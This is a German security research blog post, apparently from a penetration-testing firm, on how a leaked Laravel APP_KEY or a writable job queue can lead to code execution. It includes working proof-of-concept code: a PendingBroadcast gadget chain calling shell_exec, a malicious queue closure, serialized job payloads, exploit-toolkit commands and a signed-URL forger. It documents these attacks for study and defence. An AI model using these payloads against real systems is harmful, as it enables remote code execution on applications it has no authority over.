Kompromittierung Laravel-basierender Applikationen durch geleakte APP_KEYS

Zugriff auf eine Laravel .env Datei, was jetzt?

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

Laravel ist ein gängiges Framework zum Erstellen von PHP basierten Webanwendungen. Es erlaubt eine recht einfache Erstellung von komplexen Webapplikationen und dient daher als Grundlage vieler populärer Projekte.

Bei einem kürzlich durchgeführten Penetrationstest einer solchen Applikation waren wir in der Lage die “Environment-Datei” der Anwendung auszulesen. Diese Datei beinhaltet mehrere, zum Teil sensible Konfigurationseinstellungen, insbesondere des APP_KEY .

Dieser APP_KEY wird von mehreren, sicherheitsrelevanten Funktionen verwendet, beispielsweise zur Signatur von Objekten um diese vor einer möglichen Manipulation zu schützen. In der Vergangenheit war die Kompromittierung des APP_KEYS ein zuverlässiger Weg um eigenen Code auf dem System ausführen zu können, da hiermit auch XSRF Tokens wurden der Applikation signiert verwendet wurde. Angreifer mit Zugriff auf den APP_KEY waren in diesem Fall in Lage einen beliebige PHP Objekte zu signieren, was wiederum das Ausführen von eigenem Code per Deserialisierung über eine bekannte Gagetchain erlaubt (CVE-2018-15133).

Seit Lavel 5.6.30 ist die Deserialisierung von Cookies standardmäßig deaktiviert. Ein Zugriff auf den APP_KEY ist daher nicht längere eine Garantie für Remote Code Execution, Angreifer müssen hier inzwischen kreativer werden. In diesem Blogpost zeigen wir Wege, wie Angreifer unter Umständen dennoch in der Lage sein können mit einem geleakten APP_KEY dieses Ziel zu erreichen.

APP_KEY Grundlagen

Eine mit Laravel entwickelte Applikation erwartet in ihrem Stammverzeichnis eine .env Konfigurationsdatei. Die Datei enthält mehrere Konfigurationseinstellungen, inklusive vertraulicher Daten wie beispielsweise den APP_KEY oder die Zugangsdaten zum Datenbankbackend der Anwendung. Das Auslesen dieser Datei (beispielsweise per Local File Inclusion) ist eine primäres Ziel von Angreifern da die darin enthaltenen Informationen von Angreifern auf unterschiedliche Arten verwendet werden können.

Das bekannteste Secret ist der APP_KEY, der es oft erlaubt eigenen Code auf dem System auszuführen. Die wichtigsten Funktionen, bei denen der APP_KEY verwendet wird, sind:

  • Laravels Standardfunktionen “encrypt()” und “decrypt()". Diese werden von Entwickler verwendet um einen Wert oder ein Objekt zu ver- und entschlüsseln. Sie werden beispielsweise bei der Verschlüsselung von Laravels Session-Cookies eingesetzt, wodurch diese vor einer clientseitigen Manipulation geschützt sind.

  • Laravel bietet auch eine Funktion zur Erstellung manipulationssicherer signierter URLs. Zudem verwenden die meisten Signierfunktionen den APP_KEY der Anwendung als Secret.

  • In einer komplexen Webapplikation kann es sinnvoll sein, nicht zeitkritische Aufgaben (z. B. das Senden einer Erinnerungsmail) in eine Warteschlange (Queue) zu stellen und erst später abzuarbeiten. In Laravel kann dies mit Queues realisiert werden. Da Queue-Objekte extern gespeichert werden können, werden sie ebenfalls mit dem APP_KEY signiert (ein Beispiel findet sich hier).

Wir gehen zunächst kurz darauf ein, weshalb in der Vergangenheit Angriffe mit einem geleakten APP_KEY möglich waren und wie das Secret heutzutage von Angreifern verwendet werden kann. Im Anschluss beschreiben wir im Detail Angriffe über Laravel Queues, welche unter Umständen dazu verwendet werden können um die Anwendung zu kompromittieren, selbst wenn der APP_KEY nicht vorhanden sein sollte.

Laravel Queues können mit Hilfe unterschiedlicher Provider umgesetzt werden (beispielsweise Amazon SQL, Redis oder Lokal). In unserem Beispiel verwenden wir eine Amazon SQS basierende Queue-Implementierung.

Bekannte Angriffsvektoren

Werfen wir zunächst einen kurzen Blick darauf, wie Laravel-Anwendungen in der Vergangenheit über unsichere Deserialisierung kompromittiert werden konnten. Vor Version 5.6.30 wurden Laravel-Session-Cookies standardmäßig serialisiert und deserialisiert. Wie bei vielen anderen Sprachen und Frameworks öffnete dies die Tür für Deserialisierungsangriffe.

Angreifer mit Zugriff auf den APP_KEY konnten beliebige PHP-Objekte als Cookies signieren/verschlüsseln. Hierzu musste einfach ein entsprechend serialisiertes Objekt mit einer bekannten PHP-Gadgetchain (zum Beispiel mit PHPGGC) erstellt, mit dem Secret signiert und es dann anstelle des Session-Cookies an die Applikation gesendet werden. Laravel versuchte das manipulierte Session-Cookie zu deserialisieren, wodurch der “sicherheitsrelevante Seiteneffekt” (oft das Ausführen von eigenem Code) der Gadgetchain ausgelöst wurde.

Dieser Angriff funktionierte bis zur Laravel Version v5.6.30, die im August 2018 veröffentlicht wurde.

Der in Laravel 5.4 zum Entschlüsseln verwendete Code kann in der folgenden Middleware gefunden werden. Die Middleware extrahiert die Cookies und übergibt sie zur Entschlüsselung an die encrypter Klasse:

1protected function decryptCookie($cookie)
2{
3    return is_array($cookie)
4                    ? $this->decryptArray($cookie)
5                    : $this->encrypter->decrypt($cookie);
6}

Bei einer ersten Prüfung sieht dieser Code eigentlich nicht weiter interessant aus. Die decrypt() Funktion besitzt jedoch ein zweites Standardargument unserialize=true (siehe Laravel API docs), das steuert ob der übergebene Wert nach dem erfolgreichen Entschlüsseln direkt deserialisiert werden soll.

 1public function decrypt($payload, $unserialize = true)
 2{
 3    /* [...] */
 4
 5    // Here we will decrypt the value. If we are able to successfully decrypt it
 6    // we will then unserialize it and return it out to the caller. If we are
 7    // unable to decrypt this value we will throw out an exception message.
 8    $decrypted = \openssl_decrypt(
 9        $payload['value'], $this->cipher, $this->key, 0, $iv
10    );
11    /* [...] */
12    return $unserialize ? unserialize($decrypted) : $decrypted;
13}

Wie man sieht, versucht Laravel nach dem Entschlüsseln das von den Angreifer kontrollierte Cookie (das manipulierte, per PHPGGC erstellte PHP Objekt) zu deserialisieren, wodurch die Ausführung von Code ermöglicht wird.

Der Code wurde von den Entwicklern überarbeitet, der Inhalt des Cookies wird nun nach der Entschlüsselung nicht länger deserialisiert. Die Schwachstelle kann daher nicht länger ausgenutzt werden, selbst wenn Angreifer Zugriff auf den APP_KEY haben sollten:

 1protected static $serialize = false;
 2/* [...] */
 3protected function decryptCookie($name, $cookie)
 4{
 5    return is_array($cookie)
 6        ? $this->decryptArray($cookie)
 7        // Safe decryption without unserializing
 8        : $this->encrypter->decrypt($cookie, static::serialized($name));
 9}
10/*
11 * Determine if the cookie contents should be serialized.
12 */
13public static function serialized($name)
14{
15    return static::$serialize;
16}

Aktuelle Angriffsmöglichkeiten

Nachdem der im letzten Anschnitt beschriebene generische Angriffsvector nicht länger funktioniert müssen wir weitere potenzielle Ziele für unseren kompromittierten APP_KEY finden.

Ausnutzen unsicherer “decrypt()” Aufrufe

In einem idealen Angriffsszenario versucht die Anwendung einfach nach vor ein vom Benutzer übergebenes und per APP_KEY signiertes Objekt zu deserialisieren. Wir haben eine Reihe von beliebten Laravel-Anwendungen analysiert und dabei festgestellt, dass einige Entwickler den selben Fehler wie Laravel mit ihren Session-Keys machen. Häufig wird übersehen, dass die “decrypt(…)” Funktion standardmäßig versucht PHP Objekte zu deserialisieren. Entwickler führen daher unter Umständen eine unbeabsichtigte Deserialisierung eines Objekts durch, obwohl kein PHP Objekt erwartet wird.

Das ist beispielsweise bei Laravel Plugin für OPcache, ein Plugin für einen leichteren Umgang mit PHPs OPcache der Fall. Das Plugin installiert einen Middleware-Controller der sämtliche Anfragen für Laravel-Opache entgegennimmt. Der Code führt dabei zunächst eine Authorisierung durch indem er den URL-Parameter key ausliest und per “decypt” Funktion entschlüsselt, wobei die automatische Deserialisierung nicht deaktiviert wurde.

In Zeile 13 des folgende Code Snippets sieht man wie der key Parameter entschlüsselt wird, wobei der $unserialize nicht auf false gesetzt wird.

 1public function handle($request, Closure $next)
 2{
 3    if (! $this->isAllowed($request)) {
 4        throw new HttpException(403, 'This action is unauthorized.');
 5    }
 6
 7    return $next($request);
 8}
 9
10protected function isAllowed($request)
11    {
12        try {
13            $decrypted = Crypt::decrypt($request->get('key'));
14        } catch (DecryptException $e) {
15            $decrypted = '';
16        }
17
18        return $decrypted == 'opcache' || in_array($this->getRequestIp($request), [$this->getServerIp(), '127.0.0.1', '::1']);
19    }

Angreifer mit Zugriff auf den APP_KEY können die Laravel Instanz wie folgt kompromittieren:

  1. Erzeugen eines serialisierten PHP Objekts unter Verwendung einer bekannten Laravel-Gadgetchain.
  2. Verschlüsseln des Objekts mit dem kompromittierten APP_KEY.
  3. Übergabe des verschlüsselten Objekts an den betroffenen Opcache Handler https://<vulnApp>/opcache-api/status?key=<encryptedPayload>.
  4. Die Applikation versucht das von den Angreifern erstellte Objekt zu deserialisieren.

Ausnutzen von Laravel Queues

Die folgenden Beispiele wurden mit Laravel 8 und Laravel 9.2.0. getestet.

Bei Laravel Queues müssen die zu verarbeitenden Aufgaben und Objekte temporär bei einem (externen) Queue-Provider zwischengespeichert werden. Um eine Manipulation der gespeicherten Daten zu verhindern, werden die Objekte dabei teilweise mit Hilfe des APP_KEYs signiert.

Bei unserer Analyse merkten wir, das Laravel die in der Queue abgelegten Objekte unsicher handhabt bevor die eigentliche Prüfung der Signatur erfolgt. Angreifer mit Zugriff auf die Queue (beispielsweise durch einen Zugriff auf AWS SQS) können dies zur Kompromittierung der Anwendung verwenden, selbst wenn der APP_KEY selbst nicht bekannt sein sollte.

Zum besseren Verständnis benötigen wir eine allgemeine Übersicht über den Aufbau der in der Queue abgelegten Objekte. Ein Queue Objekt besitzt die folgenden (für uns wichtigen) Elemente:

  • job - Die Klasse, welche den Job angelegt hat
  • data - Das Daten-Objekt, welche den eigentlichen in der Queue abgelegte Befehl speichert.
  • data.commandName - Der Name des Queue-Befehls
  • data.command - Der eigentliche Befehl, als serialisiertes PHP Objekt
  • data.command.hash - Die Signatur von data.command um eine Manipulation des Objekts zu verhindern
{"uuid":"cf3a03c3-a235-44e8-8cbb-60c52f9756b6",
"displayName":"Closure (exploitClosure.php:33)",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,"maxExceptions":null,"failOnTimeout":false,"backoff":null,"timeout":null,"retryUntil":null,
"data":
    {"commandName":"Illuminate\\Queue\\CallQueuedClosure",
    "command":"O:34:\"Illuminate\\Queue\\CallQueuedClosure\":1:{s:7:\"closure\";
    O:47:\"Laravel\\SerializableClosure\\SerializableClosure\":1:{s:12:\"serializable\";
    O:46:\"Laravel\\SerializableClosure\\Serializers\\Signed\":2:{s:12:\"serializable\";
    s:314:\"O:46:\"Laravel\\SerializableClosure\\Serializers\\Native\":5:{s:3:\"use\";a:1:{s:11:\"placeholder\";s:0:\"\";}
    s:8:\"function\";s:72:\"function () use ($placeholder) {\n           echo $placeholder;\n        }\";s:5:\"scope\";
    s:35:\"App\\Console\\Commands\\exploitClosure\";s:4:\"this\";N;s:4:\"self\";s:32:\"00000000000000170000000000000000\";}\";
    s:4:\"hash\";s:44:\"Zmyuh\/opzunLH1FEWOGRBafmAlsF8i2emyzbtM83wj4=\";}}}"}}

Das command Objekt besitzt einen Hash über den sichergestellt werden soll dass das Objekt nicht verändert wurde. Da der Hash aber selbst Teil eines serialisierten Objekts ist kann dieser nur nach der Deserialisierung dieses Objekts geprüft werden.

Der Aufruf von unserialize auf dem command Objekt wird daher ohne eine vorherige Validierung durchgeführt, weshalb Angreifer wiederum eigene Objekte deserialisieren lassen können.

Unsichere Deserialisierung von Queue-Befehlen

Um die Schwachstelle ausnutzen zu können müssen Angreifer in der Lage sein ein entsprechend manipulierten Job an die Laravel-Queue zu senden.

Wir entwickelten hierzu ein Proof of Concept (PoC) in Laravel selbst, da dies die direkte Verwendung der von Laravel bereitgestellten Funktionen erlaubt. Bei Laravel erfolgt die Übergabe eines Objekts an eine Queue per dispatch Funktion, was man im folgenden Code-Beispiel sehen kann.

1$myFunction = function () use ($placeholder) {
2    echo $placeholder;
3};
4dispatch($myFunction);

Queue-Objekte werden von der Illuminate-Klasse Illuminate\Queue\Queue verarbeitet. Diese Klasse ist für das Erstellen der Queue-Objekte, die später serialisiert und an die Queue gesendet werden, verantwortlich. Für unser Angriffsszenario können wir die Funktion createObjectPayload() modifizieren. In unserer Version ersetzten wir hier das command Objekt durch unsere Gadgetchain.

protected function createObjectPayload($job, $queue)
{
    // Create the job object
    $payload = $this->withCreatePayloadHooks(...)
    // Create the malicious unserialize payload (Gadget Chain)
    $function = "shell_exec";
    $param = 'touch /tmp/pwnedThroughQueue';
        // Gadget Chain
    $dispatcher = new \Illuminate\Bus\Dispatcher(null, $function, true);
    $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$param, true);

    // Store Gadget Chain within $command
    $command = serialize(clone $pendingBroadcast);

    // Return the manipulated queue job object which contains our malicious command
    return array_merge($payload, [
        'data' => array_merge($payload['data'], [
            'commandName' => get_class($job),
            'command' => $command,
        ]),
    ]); 

In dem Beispiel wird die Gadgetchain PendingBroadcast (Laravel/RCE9) aus der Gadget-Sammlung PHPGGC verwendet.

Diese Gadgetchain kommt zum Einsatz da sie auch mit aktuellen Laravel-Versionen funktioniert und durch einen Aufruf der Magic-Method __destruct ausgelöst wird. Gadgetchains, die auf einem Aufruf der Magic-Method __toString basieren funktionieren hier nicht, da der Queue-Handler das Objekt nie als String behandelt und diese Methode daher nicht aufgerufen wird.

Wenn wir uns das erstellte job-Objekt ansehen, finden wir hier unser manipuliertes Objekt im command-Bereich. Da wir beim Patchen der createObjectPayload nicht wirklich sauber gearbeitet haben wird dieses Objekt nicht mit per hash signiert. Das ist für unsere Zwecke jedoch nicht relevant, da der Payload direkt durch die Deserialisierung ausgelöst wird, noch bevor es zur Prüfung des Hashes kommt.

{"uuid":"b67e9b33-2618-46cf-97b6-9396f658269c",
"displayName":"Closure (exploitClosure.php:33)",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,"maxExceptions":null,"failOnTimeout":false,"backoff":null,"timeout":null,"retryUntil":null,
"data":{
    "commandName":"Illuminate\\Queue\\CallQueuedClosure",
    "command":"O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";
    O:25:\"Illuminate\\Bus\\Dispatcher\":5:{s:12:\"\u0000*\u0000container\";N;s:11:\"\u0000*\u0000pipeline\";N;
    s:8:\"\u0000*\u0000pipes\";a:0:{}s:11:\"\u0000*\u0000handlers\";a:0:{}s:16:\"\u0000*\u0000queueResolver\";
    s:10:\"shell_exec\";}s:8:\"\u0000*\u0000event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":13:{s:5:\"event\";N;
    s:5:\"tries\";N;s:7:\"timeout\";N;s:7:\"backoff\";N;s:10:\"connection\";s:28:\"touch \/tmp\/pwnedThroughQueue\";
    s:5:\"queue\";N;s:15:\"chainConnection\";N;s:10:\"chainQueue\";N;s:19:\"chainCatchCallbacks\";N;s:5:\"delay\";N;
    s:11:\"afterCommit\";N;s:10:\"middleware\";a:0:{}s:7:\"chained\";a:0:{}}}"}}

An dieser Stelle müssen wir nur warten bis die Applikation das von uns modifizierten Job-Objekt von der Queue holt und verarbeitet. Dabei kommt es zur Deserialisierung unseres command Objekts innerhalb der Job-Instanz. Das folgende Code-Beispiel zeigt wie Laravel die unserialize Methode verwendet um das Job-Command zu deserialisieren.

Es ist anzumerken das Laravel auch die Verwendung von verschlüsselten command Objekten erlaubt. Wie bereits erwähnt erfordert die Ver- bzw. Entschlüsselung in diesem Fall einen gültigen APP_KEY. So lange unser command mit dem Indikator für ein serialisiertes PHP Objekt ( String O:) beginnt wird Laravel immer versuchen das Objekt direkt zu deserialisieren (Zeile 4-6).

 1// /vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php:95
 2protected function getCommand(array $data)
 3{
 4    if (str_starts_with($data['command'], 'O:')) {
 5        return unserialize($data['command']);
 6    }
 7
 8    if ($this->container->bound(Encrypter::class)) {
 9        return unserialize($this->container[Encrypter::class]->decrypt($data['command']));
10    }
11
12    throw new RuntimeException('Unable to extract job payload.');
13}

Nach dem das von den Angreifern kontrollierte command Objekt erfolgreich deserialisiert wurde wird der Code der queue-Funktion weiter abgearbeitet. Zu einem späteren Zeitpunkt erkennt Laravel, dass das command Objekt nicht von der eigentlich zu erwartenden Klasse abstammt. Die Anwendung wirft eine entsprechende Exception wodurch das von den Angreifern kontrollierte Objekt zur Garbage-Collection freigegeben wird. Dieser ruft wiederum die Magicmethod __destroy des Objekts auf wodurch die eigentliche Gadgetchain zur Ausführung gebracht und der Betriebssystem-Befehl “touch /tmp/pwnedThroughQueue " ausgeführt wird.

Unsichere Deserialisierung im Queue Listener

Zusammengefasst:
Laravel prüft beim Abarbeiten von Queue-Jobs die Integrität eines serialisierten command Objekts nicht, bevor dieses per unserialize deserialisiert wird. Angreifer mit schreibenden Zugriff auf eine solche Queue (SQS, Redis,…) können darüber eigenen Code ausführen, selbst wenn Sie keinen Zugriff auf den APP_KEY haben sollten. Dieses Szenario ist insbesondere dann interessant, wen Angreifer über eine Schwachstelle, Zugriff auf die Queue erhalten sollten, die nicht auf dem Auslesen einer “.env” Datei beruht (beispielsweise einfach zu erratende Zugangsdaten oder einem geleakten AWS Access Token).

Ausnutzen von beliebigen Scopes in Queueing Closures

Im Zusammenhang mit Queues lassen sich auch Laravel Queueing Closures ausnutzen. Closures sind “einfache Aufgaben, die außerhalb des aktuellen Requests ausgeführt werden müssen”, was Angreifern wiederum das Ausführen von beliebigen PHP Code erlaubt.

In diesem Szenario benötigen die Angreifer jedoch Zugriff auf die Queue und den APP_KEY. Diese Bedingungen sind häufig erfüllt wenn der Inhalt der Laravel environment-Datei ausgelesen werden kann, da diese die hierfür benötigten Informationen enthält. Dieser Ansatz basiert nicht auf Deserialisierung und funktioniert daher auch falls keine funktionierende Gadgetchain vorhanden sein sollte.

Laut der Dokumentation, kann ein Closure mit folgendem Code an eine Queue übergeben werden:

1$podcast = App\Podcast::find(1);
2 
3dispatch(function () use ($podcast) {
4    $podcast->publish();
5});

Wir namen zunächst an das Queueing-Closures eine eigene Klasse und Scope (beispielswiese die Klasse Podcast oder Newsletter) voraussetzt. Zudem gingen wir davon aus, dass die Funktionen in der Closure auch auf dem Zielsystem existieren müssen. Beide Annahmen stellten sich aber als Falsch heraus. Angreifer können hier beliebigen PHP Code ausführen, solange der Scope des Queueing Closure Jobs existiert.

Als Proof of Concept modifizierten wir die in unserer Angreifer-Instanz die Vendor-Klasse Illuminate\Cookie\Middleware\EncryptCookies um eine sendMaliciousClosure() Funktion. Die EncryptCookies Klasse sollte in sämtlichen Laravel-Projekten existieren, weshalb auch der Scope immer vorhanden ist. Es wäre auch mittels Reflection möglich den scope im vorher erwähnten job Objekt zu manipulieren.

Im folgenden Codesnippet sehen wir die von uns hierfür durchgeführten Änderungen der EncryptCookies Klasse (Ziele 11-18). Wir definieren hier ein Closure der wiederum shell_exec aufruft, um beliebige Betriebssystembefehle auszuführen. Dieser Closure wird dann als Job an die konfigurierte Laravel-Queue übergeben.

 1// /app/Http/Middleware/EncryptCookies.php
 2<?php
 3
 4namespace App\Http\Middleware;
 5
 6use Illuminate\Cookie\Middleware\EncryptCookies as Middleware;
 7
 8class EncryptCookies extends Middleware
 9{
10    [...]
11    public static function sendMaliciousClosure($cmd) // Malicious Changes
12    {
13        dispatch(function () use ($cmd) {
14            echo "Sending queue with shellexec(: " . $cmd . "\n";
15            shell_exec($cmd);
16        });
17    }
18}

Das manipulierte Closure kann über unser eigenes Laravel Artisan Kommando versendet werden. Es ist anzumerken das wir die Funktion sendMaliciousClosure direkt aus EncryptCookies aufrufen. Dies ist wichtig, da der verwendete Scope auch innerhalb der Zielapplikation existieren muss.

1public function handle()
2{
3    $cmd = $this->argument('cmd');
4    EncryptCookies::sendMaliciousClosure($cmd);
5}

Während der der Job-Übergabe wird das eigentliche Closure generiert und mit dem geleakten APP_KEY signiert. Es folgt der serialisierte und in der Queue abgelegte Job. Unser SerializableClosure Objekt findet sich innerhalb des command Objekts, diese enthält sämtliche, von der Closure benötigten Funktionen:

{"uuid":"45114539-32a2-4c25-9033-173b5030e851",
"displayName":"Closure (EncryptCookies.php:20)",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,"maxExceptions":null,"failOnTimeout":false,"backoff":null,"timeout":null,"retryUntil":null,
"data":{
    "commandName":"Illuminate\\Queue\\CallQueuedClosure",
    "command":"O:34:\"Illuminate\\Queue\\CallQueuedClosure\":1:{s:7:\"closure\";
    O:47:\"Laravel\\SerializableClosure\\SerializableClosure\":1:{s:12:\"serializable\";
    O:46:\"Laravel\\SerializableClosure\\Serializers\\Signed\":2:{s:12:\"serializable\";
    s:383:\"O:46:\"Laravel\\SerializableClosure\\Serializers\\Native\":5:{s:3:\"use\";a:1:{s:3:\"cmd\";s:19:\"touch \/tmp\/
    pwnScope\";}s:8:\"function\";s:130:\"function () use ($cmd) {\n            echo \"Sending queue with shellexec(: \" . 
    $cmd . \"\\n\";\n            shell_exec($cmd);\n        }\";s:5:\"scope\";s:34:\"App\\Http\\Middleware\\EncryptCookies\";
    s:4:\"this\";N;s:4:\"self\";s:32:\"00000000000000170000000000000000\";}\";s:4:\"hash\";
    s:44:\"5TJIDz0Ya9OxxqclvEH5ZXkvZRSEH5uV2sT+r0pCYAc=\";}}}"}}

Wenn die Zielapplikation das von der Queue geladene Objekt lädt versucht sie das command Objekt zu deserialisieren. Anschließend validiert Laravel den hash mit Hilfe des APP_KEYs. Als nächstes vesucht Laravel den Scope App\Http\Middleware\EncryptCookies zu verifizieren. Wenn dieser existiert wird das von den Angreifern kontrollierte Closure ausgeführt. Dies kann direkt verifiziert werden, da das unser echo direkt aus dem Context des Queue Worker ausgeführt.

Kompromittierung von Laravel durch Queueing Closures

Speziell in Bezug auf Closures muss angemerkt werden das Laravel keine Vorgaben macht welche Daten und Objekte von einer Queue akzeptiert werden. Die Queue muss von den Entwicklern nur korrekt aufgesetzt worden sein. Nach der Konfiguration prüft Laravel nicht, welche Funktionen der Queue verwendet werden sollen, es verarbeitet einfach Alles was aus dieser Queue kommt. Der Code unterschiedet also beispielsweise nicht zwischen einer Queue für Closures und einer Queue für die Verarbeitung von Newsletter Objekten.

Exploit-Toolkit / Testumgebung

Um diese Schwachstellen nachweisen zu können haben wir eine Laravel basierende Test-/Exploitumgebung erstellt.

Diese kann über folgende Schritte nachgestellt werden:

Klonen des Repositories:

git clone git@github.com:timoles/laravel_queue_exploit_client.git # TODO update URL
cd laravel_queue_exploit_client

docker-compose up --build -d

Anschließend erfolgt eine manuelle Installation der Composer-Abhängigkeiten (das sollte eigentlich nich notwendig sein, wir hatten hier jedoch in der Vergangenheit vereinzelt Probleme):

docker exec -it laravel_queue_exploit_client_laravel_exploit_1 composer require aws/aws-sdk-php
docker exec -it laravel_queue_exploit_client_laravel_exploit_scope_1 composer require aws/aws-sdk-php
docker exec -it laravel_queue_exploit_client_laravel_victim_1 composer require aws/aws-sdk-php

Erstellen der eigentlichen Testumgebung:

  • laravel_victim_app und laravel_exploit_scope_app müssen den selben APP_KEY besitzen.
  • laravel_queue_exploit_client_laravel_exploit_1 können jeweils einen unterschiedlichen APP_KEY haben.
  • Der APP_KEY kann über die entsprechenden .env Dateien konfiguriert werden.
  • In Allen drei Umgebungen muss die selbe AWS SQS Queue konfiguriert sein. Eine Anleitung, wie diese Erstellt werden kann findet sich hier: https://dev.to/ichtrojan/configuring-laravel-queues-with-aws-sqs-3f0n
# e.g
# APP_KEY=APP_KEY=base64:2qX7NIuZPQ2Ix9m2af/5hV2BgTuBRhQY+/QE42vpyB8=
# QUEUE_CONNECTION=sqs
# AWS_ACCESS_KEY_ID=<accessKeyID>
# AWS_SECRET_ACCESS_KEY=<accessKeySecret>
# AWS_DEFAULT_REGION=us-east-1
# SQS_PREFIX=https://sqs.us-east-1.amazonaws.com/<queueID>/

vim laravel_victim_app/.env
vim laravel_exploit_scope_app/.env
vim laravel_exploit_app/.env

Um das Ziel angreifen zu können muss es die über die Queue eingereichten Objekte verarbeiten. Das kann über den folgenden Befehl durchgeführt werden:

# Run the SQS queue
docker exec -it laravel_queue_exploit_client_laravel_victim_1  php artisan queue:listen sqs

Die eigentlichen Payloads können über die Exploit-Clients versendet werden. Der folgende Aufruf sendet einen Job mit einer serialiserten Gadgetchain in die Queue:

docker exec -it laravel_queue_exploit_client_laravel_exploit_1 php /app/artisan command:exploitClosureDeser

Der nächste Befehl erlaubt das Ausführen von beliebigem PHP Code durch Queueing Closures:

docker exec -it laravel_queue_exploit_client_laravel_exploit_scope_1 php /app/artisan command:exploitClosureWrongScope 'touch /tmp/pwnScope'

Die Ziel-Applikation verarbeitet neue Queue-Objekte nach einer gewissen Zeit. Bei erfolgreicher Ausnutzung sollten im /tmp Verzeichnis des Zielsystems weitere Dateien erzeugt werden:

docker exec -it laravel_queue_exploit_client_laravel_victim_1  ls /tmp/

Wenn Sie sehen möchten welche Codebereiche geändert wurden genügt es nach dem String Malicious Changes zu suchen. Damit haben wir Änderungen markiert.

grep -ran 'Malicious Changes'
# ./laravel_exploit_scope_app/app/Http/Middleware/EncryptCookies.php:17:    public static function sendMaliciousClosure($cmd) // Malicious Changes
# ./laravel_exploit_scope_app/app/Console/Commands/exploitClosure.php:29:    public function handle() // Malicious Changes
# ./laravel_exploit_app/app/Console/Commands/exploitClosure.php:28:    public function handle() // Malicious Changes
# ...

Erstellen von bösartigen, signierten URLs

Ein weiteres, wenn auch weniger gravierendes Szenario stellt das Erstellen von signierten URLs durch Angreifer dar. Hierüber können Entwickler sicherstellen, dass die übergebenen URL-Parameter nicht manipuliert wurden.

Ein Beispiel für eine solche signierte URL, das Signieren eines “Abmelden” Links, findet sich in der offiziellen Laravel Dokumentation In diesem Szenario verhindert die URL-Signatur das andere Nutzer durch eine Änderung der URL abgemeldet werden können.

In den meisten Fällen bietet die Möglichkeit, eine entsprechende URL zu manipulieren nur sehr geringes Schadenspotenzial, insbesondere im Vergleich zu anderen Angriffsvektoren, die ein kompromittierter APP_KEY ermöglicht. Es ist jedoch denkbar dass Entwickler diese Funktion verwenden um sich nicht um eine weitere Eingabevalidierung der URL-Parameter kümmern zu müssen. Dies kann beispielsweise in SQL Injection oder auch IDOR Schwachstellen führen.

Wie man anhand des folgenden Code-Beispiels sieht ist das Erstellen einer signierten URL recht einfach und kann beispielsweise mit einem Laravel Artisan Befehls umgesetzt werden:

 1$url = 'https://www.mogwailabs.de/?key=value';
 2$key = config('app.key'); // Read APP_KEY
 3
 4// Create URL signature
 5$signature = hash_hmac('sha256', $url, $key);
 6// Check if URL parameters exist (needed to properly add the signature)
 7$separator = '?';
 8if(str_contains($url, '?')){
 9    $separator = '&';
10}
11
12echo $url . $separator . 'signature=' . $signature . "\n";
13return 0

Zusammenfassung

Der Zugriff auf den APP_KEY einer Laravel-Anwendung bedeutet nicht mehr automatisch eigenen Code ausführen zu können. Es existieren jedoch nach wie vor Szenarien bei denen Angreifer aber dennoch in der Lage sein können, das System darüber zu kompromittieren.

Hierzu benötigen Angreifer noch eine zusätzliche “Schwachstelle”, wie beispielsweise der unsichere Aufruf der “decrypt()” Funktion oder den Zugriff auf die Queue der Anwendung. Im letzten Fall kann sogar auf den APP_KEY verzichtet werden. Die Wahrscheinlichkeit, dass eine komplexe Laravel Anwendung Queues verwendet ist recht hoch, da einzelne Bereiche dadurch performanter werden.

Dies, in Kombination mit dem größer werdenden Anteil von cloud-native Applikationen, der Verwendung von SaaS-Diensten (beispielsweise das Versenden von Mails durch AWS) sowie Laravels integrierter Support für mehrere externe Queue-Provider liefert Angreifer eine gute Chance auf eine beschreibbare Queue zu finden. Dies liefert Angreifern einen zusätzlichen Angriffsvektor, um eigenen Code in die Laravel-Instanz einzuschleusen.